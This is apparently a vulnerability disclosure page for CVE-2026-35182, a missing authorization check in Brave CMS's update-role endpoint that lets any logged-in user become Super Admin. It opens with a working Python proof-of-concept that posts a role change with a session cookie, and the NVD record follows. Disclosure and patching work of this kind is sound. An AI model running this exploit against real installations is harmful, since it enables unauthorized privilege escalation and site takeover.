CVE-2026-35182

import requests # Target configuration target_url = "http://example.com/rights/update-role/{user_id}" attacker_session_cookie = "laravel_session=..." # Payload configuration: Assuming '1' is the ID for Super Admin role # Replace {user_id} with the attacker's own user ID or target user ID exploit_url = target_url.replace("{user_id}", "2") payload = { "role_id": "1", # "_token": "..." // Include CSRF token if required by framework config } headers = { "Cookie": attacker_session_cookie, "Content-Type": "application/x-www-form-urlencoded" } # Send exploit request response = requests.post(exploit_url, data=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! User role updated to Super Admin.") else: print("[-] Exploit failed. Status code:", response.status_code)

{"cve": {"id": "CVE-2026-35182", "sourceIdentifier": "[email protected]", "published": "2026-04-06T20:16:26.553", "lastModified": "2026-04-14T15:50:57.397", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Brave CMS is an open-source CMS. Prior to 2.0.6, this vulnerability is a missing authorization check found in the update role endpoint at routes/web.php. The POST route for /rights/update-role/{id} lacks the checkUserPermissions:assign-user-roles middleware. This allows any authenticated user to change account roles and promote themselves to Super Admin. This vulnerability is fixed in 2.0.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ajax30:bravecms:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.6", "matchCriteriaId": "68058898-316C-481E-A190-0E50C51A015D"}]}]}], "references": [{"url": "https://github.com/Ajax30/BraveCMS-2.0/security/advisories/GHSA-g58h-mvjw-f4hv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/Ajax30/BraveCMS-2.0/security/advisories/GHSA-g58h-mvjw-f4hv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}